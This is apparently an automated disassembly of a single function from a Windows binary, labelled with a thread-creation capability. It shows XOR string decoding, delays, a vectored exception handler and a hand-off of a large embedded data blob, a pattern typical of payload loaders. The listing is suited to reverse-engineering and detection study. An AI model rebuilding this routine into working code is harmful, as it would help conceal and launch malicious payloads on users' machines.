Function at 0x140005060
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x130
call fcn.140004fe0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.140005300
mov qword [rsp + 0x68], rax
mov eax, 1
imul rax, rax, 0x54
mov rcx, qword [rsp + 0x68]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1400050b6
mov dword [rsp + 0x60], 1
jmp 0x1400050be
mov dword [rsp + 0x60], 0
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x14000511c
mov dword [rsp + 0x54], 0
jmp 0x1400050db
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x55
jge 0x14000511c
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x68]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 0x70
idiv ecx
mov eax, edx
add eax, 0x61
mov ecx, dword [rsp + 0x78]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x68]
mov byte [rdx + rcx], al
jmp 0x1400050d1
mov rax, qword [rsp + 0x68]
mov rcx, rax
call fcn.1400010b0
lea rax, [rsp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x51]
call fcn.1400053f0
mov qword [rsp + 0x70], rax
mov eax, 1
imul rax, rax, 0x3a
mov rcx, qword [rsp + 0x70]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140005171
mov dword [rsp + 0x64], 1
jmp 0x140005179
mov dword [rsp + 0x64], 0
movzx eax, byte [rsp + 0x64]
test eax, eax
je 0x1400051d7
mov dword [rsp + 0x58], 0
jmp 0x140005196
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0x3b
jge 0x1400051d7
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 0x70
idiv ecx
mov eax, edx
add eax, 0x61
mov ecx, dword [rsp + 0x7c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x70]
mov byte [rdx + rcx], al
jmp 0x14000518c
mov rax, qword [rsp + 0x70]
mov rcx, rax
call fcn.1400010b0
mov ecx, 0x8fc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x5c], 0
jmp 0x140005203
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0x3e8
jge 0x140005222
movsxd rax, dword [rsp + 0x5c]
lea rcx, [0x1402bf750]
mov dword [rcx + rax*4], 0
jmp 0x1400051f9
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140001ed0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140002d20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x1400052a1
lea rdx, str.Failed_to_add_vectored_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005860
lea rdx, [0x140005c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
jmp 0x1400052ee
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8d, 0x2b4000
lea rdx, [0x14000b060]
mov rcx, 0xffffffffffffffff
call fcn.140001490
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400052ec
xor eax, eax
add rsp, 0x130
pop rdi
ret